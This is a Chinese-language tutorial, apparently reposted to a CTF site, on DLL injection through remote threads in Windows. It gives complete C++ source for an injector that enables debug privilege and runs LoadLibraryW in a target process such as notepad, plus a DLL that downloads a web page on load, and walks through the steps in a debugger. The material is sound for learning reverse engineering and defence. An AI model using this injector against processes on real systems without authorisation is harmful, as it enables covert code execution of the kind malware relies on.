DLL注入学习:通过远程线程注入DLL

渗透技巧 2年前 (2022) admin
350 0 0

概述:

上一篇文章学习了使用Windows的消息钩子钩取进程的消息并对其进行处理,在这个操作中,我们注入DLL的方式是通过LoadLibrary直接在系统中加载DLL,通过检查目标进程的进程名来判断是否钩取其消息。这种方式非常简单直接,但是利用的范围不大。

对于DLL注入来说,还存在其他的几种注入方式,这一次学习的是通过在目标进程中创建一个远程线程,通过向远程线程中传入对应的DLL,而直接将DLL加载到目标进程的虚拟空间之中。

远程线程的概念大概是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间 。

利用远程线程注入DLL这种方式针对性更强且运用也更为广泛。

这次的实验程序有两个:

  1. 执行注入操作的.cpp文件(inject.cpp)

  2. 被注入的.dll文件(dllmain.dll)

下面来分别分析这两个程序的代码

DllMain.dll

首先还是先给出总的源代码,然后进行分析:

#include"windows.h"
#include"tchar.h"

#pragma comment(lib,"urlmon.lib")

#define URL (L"http://www.naver.com/index.html")
#define FILE_NAME (L"index.html")

HMODULE hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = { 0, };
if (!GetModuleFileName(hMod, szPath, MAX_PATH))
{
return FALSE;
}
TCHAR* p = _tcsrchr(szPath, '\');
if (!p)
{
return FALSE;
}
_tcscpy_s(p + 1, _MAX_PATH, FILE_NAME);

URLDownloadToFile(NULL, URL, szPath, 0, NULL);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserve)
{
HANDLE hThread = NULL;
hMod = (HMODULE)hInstance;
switch (fwdReason)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"start injectionn");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
default:
break;
}

return TRUE;
}

程序的逻辑还是比较简单的,主要如下:

  1. 远程线程需要执行的主要操作,本次实验中是完成一次下载操作(ThreadProc)

  2. DLL的入口点函数(DllMain)

下面来具体分析每个部分

ThreadProc:

这个函数是之后在.cpp程序中创建了远程线程后,这个远程线程要进行的具体操作,可以理解为远程线程要完成的主要功能(也就是要完成下载操作的函数)

这个函数类似于DLL的入口点函数,是有一个固定的定义原型的,可以在MSDN上查到如下:

DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);

这个函数原型只有一个参数:

  • lpParameter

这个参数就是在线程函数中可以自定义传入的函数参数,类型为一个VOID指针(这里有一个问题:常规使用到的ThreadProc函数参数只有一个,不知道是否能有多个,希望有清楚的大佬可以赐教

ThreadProc函数的主要逻辑是先获取模块所在的文件路径,截取这个文件路径的中间部分与宏定义的目标文件名(也就是FILE_NAME)组成为后面下载函数需要使用到的一个路径参数。

然后调用了一个API函数URLDownloadToFile,这个就是一个下载文件的API函数,它包含在urlmon.lib这文件中,也就是在程序开头进行包含操作的那个lib文件。

这个API的函数原型在MSDN上查到如下:

HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);
  • pCaller:指向ActiveX的组件接口,如果没有调用的ActiveX的操作的话直接使用NULL即可

  • szURL:目标网址,也就是需要从什么地方下载文件

  • szFileName:文件下载后存放的路径,需要注意这个路径要包含下载后文件的文件名(也就是对应前将文件名和路径组合在一起)

  • dwReserved:保留参数,设为0即可

  • lpfnCB:回调接口,一般设置为NULL即可

这部分的代码和注释如下:

DWORD WINAPI ThreadProc(LPVOID lParam) //创建线程回调函数
{
TCHAR szPath[_MAX_PATH] = { 0, }; //文件路径
if (!GetModuleFileName(hMod, szPath, MAX_PATH)) //查找当前应用程序所在文件位置
{
return FALSE;
}
TCHAR* p = _tcsrchr(szPath, '\'); //获取文件路径
if (!p)
{
return FALSE;
}
_tcscpy_s(p + 1, _MAX_PATH, FILE_NAME); //形成一个完整的文件保存路径

URLDownloadToFile(NULL, URL, szPath, 0, NULL); //下载文件
return 0;
}

DllMain:

这一部分的函数结构与上一篇中提到的DllMain函数的结构是一样的,这里就不多赘述,主要逻辑就是当DLL被装入内存后执行一个CreateThread的API函数,也就是创建线程的函数,这里要厘清一个逻辑顺序:这里创建的线程与远程线程是两个东西,这个线程是为了让ThreadProc能够正常执行,而远程线程是为了让宿主进程装载我们自定义的DLL。

这里主要提一下这个CreateThread的API函数,它在MSDN中可以查到如下:

HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
  1. lpThreadAttributes:指向安全属性结构体的指针,这里一般设为NULL

  2. dwStackSize:线程堆栈的初始大小,一般是设置为0,使用可执行文件的默认大小

  3. lpStartAddress:指向线程执行函数的指针,也就是指向ThreadProc的指针

  4. lpParameter:ThreadProc函数的参数,也就是对应其函数原型中那个LPVOID lParam参数(在传入时可以将指针类型进行强转,强转为LPVOID,可以避免一些bug)

  5. dwCreationFlags:控制线程创建的标志,有三种选择,具体参考MSDN,这里选择设为0,即创建后线程立即运行。

  6. lpThreadId:指向接收线程标识符的变量的指针,如果此参数为 NULL,则不返回线程标识符。

函数执行成功后函数会返回新线程的句柄,所以可以通过其返回值检查线程是否打开成功。

Inject.cpp:

首先是总的源码,然后分步进行分析:

#include"windows.h"
#include"tchar.h"
#include"stdio.h"
#include"Urlmon.h"

BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HMODULE hMod = NULL;
LPVOID lRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
_tprintf(L"进程打开失败");
return FALSE;
}

lRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, lRemoteBuf, (LPVOID)szDllPath, BufSize, NULL);

hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lRemoteBuf, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("提权失败。");
return FALSE;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("提权失败。");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("提权失败。");
CloseHandle(hToken);
}
else
{
printf("提权成功!");
return TRUE;
}

}

int _tmain(int argc, _TCHAR* argv[]) {

EnableDebugPriv();

if (injectDll((DWORD)_tstol(argv[1]), argv[2]))
{
printf("注入成功");
}
if (!(injectDll((DWORD)_tstol(argv[1]), argv[2])))
{
printf("注入失败");
}
return 0;
}

程序的逻辑也比较简单:

  1. 完成注入操作的函数,也就是将自定义的DLL注入目标进程需要进行的操作(injectDll)

  2. 提权函数,在Windows7、Windows10等版本的系统中进行DLL注入时,如果不对注入程序进行提权的话可能会失败(EnableDebugPriv)

  3. 主函数,执行前面定义的两个函数

下面具体进行分析

injectDll:

这个函数的执行流程大概如下:

  1. 打开目标进程的进程句柄

  2. 为线程函数的参数分配空间(这里的线程函数参数为需要注入的DLL的路径),然后将参数写入虚拟空间

  3. 加载kernel32.dll,从中获取LoadLibraryW的实际地址

  4. 在目标进程中创建远程线程,执行装载DLL的操作

首先需要注意的就是虚拟空间的分配与写入这个操作,在很多DLL注入操作中都要涉及到这对操作,其中使用到的两个API分别为:

VirtualAllocEx,在MSDN上可以查到如下:

LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
  • hProcess:目标进程的句柄,API会在这个进程下分配虚拟空间

  • lpAddress:需要分配内存的起始地址,这里一般设为NULL,让API自行决定分配的位置

  • dwSize:需要分配的内存大小

  • flAllocationType:内存分配的类型,这里将其设置为MEM_COMMIT,将分配的虚拟内存映射到物理内存上(不然进程怎么读取呢)

  • flProtect:分配的内存页的保护措施,或者说对其进行权限设置,这里将其设置为PAGE_READWRITE,将分配的内存设置可读可写权限。

WriteProcessMemory,对应前面对内存的分配,这是在目标进程的内部中写入的操作,在MSDN上可以查到如下:

BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
  • hProcess:目标进程的句柄,API会在这个进程中写入数据

  • lpBaseAddress:要将数据写入的目标起始地址

  • lpBuffer:需要写入的数据,注意类型是一个LPVOID指针,在传入参数时可以强制转换一下类型

  • nSize:需要写入的大小

  • lpNumberOfBytesWritten:实际长度的大小,一般置为NULL

这里可以思考一下为什么要进行这样一对操作呢?因为我们是需要在目标进程中注入我们自己的DLL,而我们注入DLL的方式是通过远程线程来执行LoadLibrary的操作将对应DLL装入目标内存,而LoadLibrary函数是需要参数的,这个参数也就是DLL文件的路径在目标进程的内存中是没有的,所以需要我们自行分配内存和写入数据

接着再思考一个问题:为什么要获取LoadLibrary这个函数的真实地址呢?因为目标进程中不一定调用了这个API,且就算其调用了这个API我们也无法从目标进程中获取对应的地址,但是Windows上的应用进程大部分都装载了kernel32.dll这个DLL库,而这个库在各个进程中的装载地址是一样的,那么我们就可以通过直接在程序中装载kernel32.dll这个库并通过GetProcAddress这个API来找到LoadLibrary这个函数的地址,由于这个地址在各个进程中是相同的,那么我们就可以直接在目标进程中使用这个函数了

最后就是创建远程线程的API:CreateRemoteThread,这个函数可以在MSDN上查到如下:

HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
  • hProcess:目标进程的句柄,函数将在这个进程下创建远程线程

  • lpThreadAttributes:指向线程安全属性的描述符,这里一般设为NULL

  • dwStackSize:指定线程初始的堆栈大小,设为0则使用系统默认的大小

  • lpStartAddress:远程线程需要执行的LPTHREAD_START_ROUTINE类型的函数指针

  • lpParameter:远程线程需要执行的函数的参数

  • dwCreationFlags:线程创建后的标志,这里设为0,也就是线程建立后立即运行

  • lpThreadId:指向接收线程标识符的变量的指针,一般设置为NULL,即不返回线程标识符

这里要厘清一个问题就是这个远程线程创建后执行的操作是在目标进程中LoadLibrary,将DLL注入目标进程,注意不要与前面DLL中的CreateThread进行的操作搞混了。

这一部分代码和注释如下:

BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL; //开启notepad.exe的进程句柄
HANDLE hThread = NULL; //开启线程后的句柄
HMODULE hMod = NULL; //加载DLL后的模块句柄
LPVOID lRemoteBuf = NULL; //用于指向后面分配的虚拟内存的指针
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); //需要的内存大小
LPTHREAD_START_ROUTINE pThreadProc; //指向pThreadProc这个特定函数的指针

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) //打开需要注入的进程
{
_tprintf(L"进程打开失败");
return FALSE;
}

lRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为文件路径字符串分配虚拟内存

WriteProcessMemory(hProcess, lRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //向分配的虚拟内存中写入文件路径

hMod = GetModuleHandle(L"kernel32.dll"); //在本程序中获取kernel32.dll的模块句柄
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");//找到LoadLibraryW的真实地址
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lRemoteBuf, 0, NULL); //创建远程线程,在目标进程中执行LoadLibrary注入DLL

WaitForSingleObject(hThread, INFINITE); //等待线程执行

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

EnableDebugPriv

这里是提权函数,对当前程序进行提权,在很多情况下,默认权限的程序是会注入失败的(我第一次在Win7下实验就提示权限不足)

函数的流程大致如下:

  1. 获取当前与当前进程相关联的用户的访问令牌

  2. 查找所需要修改权限的LUID

  3. 对应访问令牌中的特权属性进行修改

  4. 调整特权

首先是关于访问令牌:Windows系统中,当用户登录时,会给其分配一个访问令牌;在Windows编程中,这个访问令牌被解释为一个结构体:TOKEN_PRIVILEGES,这个结构体的原型如下:

typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

有两个成员:

  • PrivilegeCount:对应后面Privileges中成员的数量(也就是后面需要更改的进程的权限个数)

  • Privileges[ANYSIZE_ARRAY]:这是LUID_AND_ATTRIBUTES的结构体数组,这个结构体中包含了特权的LUID和属性,每个特权对应的LUID可以通过LookupPrivilegeValue进行查找

然后是关于LUID,这个类型的全称是:locally unique identifier,也就是每个进程的局部唯一性的标识。这里我们要将进程的权限提升至SE_DEBUG_NAME,也就是调试级别的权限,所以使用LookupPrivilegeValue这个API函数查找这权限相对应的LUID值,然后再对访问令牌进行修改。

LUID在Windows编程中也被解释为一个结构体:

typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;

其实就是一个数值被分解为高位和低位两个部分。

这个部分的代码即注释为:

BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken; //指向后面打开访问令牌的句柄
LUID Luid; //接受后面查找的局部唯一标识符
TOKEN_PRIVILEGES tkp; //后面修改访问令牌时用到的结构体

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) //打开当前进程的访问令牌
{
printf("提权失败。");
return FALSE;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) //查找需要修改的权限对应的LUID值
{
CloseHandle(hToken);
printf("提权失败。");
return FALSE;
}
//下面为访问令牌的中特权属性的修改操作
tkp.PrivilegeCount = 1; //设置要修改的权限数量,这里只需要修改一项权限,即为1
tkp.Privileges[0].Luid = Luid; //设置Privileges数组中LUID的值为前面查找到的对应权限的LUID值
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置该权限对应的执行状态更改为可行状态
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) //修改访问令牌的对应权限
{
printf("提权失败。");
CloseHandle(hToken);
}
else
{
printf("提权成功!");
return TRUE;
}

}

调试测试:

这里在XP环境下调试这个程序,注入的目标进程为notepad:

首先先运行一下这个程序:

DLL注入学习:通过远程线程注入DLL

第一个参数为PID,第二个参数为DLL文件所在的文件路径。

运行结果如下:

DLL注入学习:通过远程线程注入DLL

在DLL所在的目录下下载了目标index文件,到ProcessExploer中查看notepad的dll进程:

DLL注入学习:通过远程线程注入DLL

可以发现我们的DLL已经被注入了目标进程。

然后我们正式开始调试:

首先将notepad拖入OD运行:

DLL注入学习:通过远程线程注入DLL

然后按照上一篇文章中设置当新的DLL模块载入时断下程序:

DLL注入学习:通过远程线程注入DLL

然后运行注入程序并按F9开始运行至我们的DLL被装载入进程:

DLL注入学习:通过远程线程注入DLL

双击进入这个新模块,也就是我们自定义注入的这个DLL:

DLL注入学习:通过远程线程注入DLL

往下找的话就可以找到我们对应的下载网址和文件名等。

参考资料:

《逆向工程核心原理》[韩] 李承远




来源先知社区的【 Youngmith师傅

注:如有侵权请联系删除

DLL注入学习:通过远程线程注入DLL

如需进群进行技术交流,请扫该二维码

DLL注入学习:通过远程线程注入DLL

原文始发于微信公众号(衡阳信安):DLL注入学习:通过远程线程注入DLL

版权声明:admin 发表于 2022年12月4日 下午6:01。
转载请注明:DLL注入学习:通过远程线程注入DLL | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...